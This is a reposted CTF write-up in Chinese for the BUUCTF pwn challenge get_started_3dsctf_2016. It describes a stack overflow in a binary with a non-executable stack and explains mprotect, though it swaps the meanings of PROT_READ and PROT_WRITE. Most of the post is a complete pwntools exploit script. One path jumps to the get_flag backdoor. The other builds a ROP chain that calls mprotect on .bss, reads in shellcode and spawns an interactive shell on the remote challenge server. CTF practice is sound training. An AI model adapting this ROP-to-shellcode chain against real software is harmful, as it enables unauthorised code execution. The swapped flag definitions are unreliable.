欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUUCTF get_started_3dsctf_2016

程序员文章站 2022-05-24 10:49:06
...

BUUCTF get_started_3dsctf_2016
典型的栈溢出

而且还留了后门
BUUCTF get_started_3dsctf_2016
在本地可以拿到flag.txt文件,但是远程不行!

BUUCTF get_started_3dsctf_2016
栈不可执行
BUUCTF get_started_3dsctf_2016

原型:
int mprotect(const void *start, size_t len, int prot)
start:需改写属性的内存中开始地址
len:需改写属性的内存长度
prot:需要修改为的指定值

功能: mprotect()函数可以用来修改一段指定内存区域的保护属性。 他把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 prot可以取以下几个值:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,即4K对齐

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

proc_name = './get_started_3dsctf_2016'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 27964)
elf = ELF(proc_name)
print(proc.pidof(p))
if args.L:
	main_addr = elf.symbols['main']
	get_flag_addr = elf.symbols['get_flag']
	payload = 'a'.encode() * (0x38)+ p32(get_flag_addr) + p32(main_addr) + p32(814536271)+p32(425138641)

	p.sendline(payload)
	print(p.recv())
	# p.interactive()

else:
	mprotect_addr = elf.symbols['mprotect']
	# 三个rop任意选一个即可
	pop1_ebx_esi_edi_ret = 0x080509a5
	pop2_esi_edi_ebp_ret = 0x0804951d
	pop3_edi_esi_ebx_ret = 0x08063adb
	bss_start = elf.bss() & ~(elf.bss()% (4 * 1024))
	print(bss_start)
	bss_size = 0x400
	bss_per = 0x7 # 0b111
	read_addr = elf.symbols['read']
	payload = 'a'.encode() * (0x38) + p32(mprotect_addr) + p32(pop3_edi_esi_ebx_ret) + p32(bss_start) + p32(bss_size) + p32(bss_per) + p32(read_addr) + p32(bss_start) + p32(0x0) + p32(bss_start) + p32(bss_size)
	print(payload)
	p.sendline(payload)
	payload1 = asm(shellcraft.sh())
	p.sendline(payload1)
	p.interactive()

本地权限
BUUCTF get_started_3dsctf_2016
远程
BUUCTF get_started_3dsctf_2016

相关标签: pwn get_started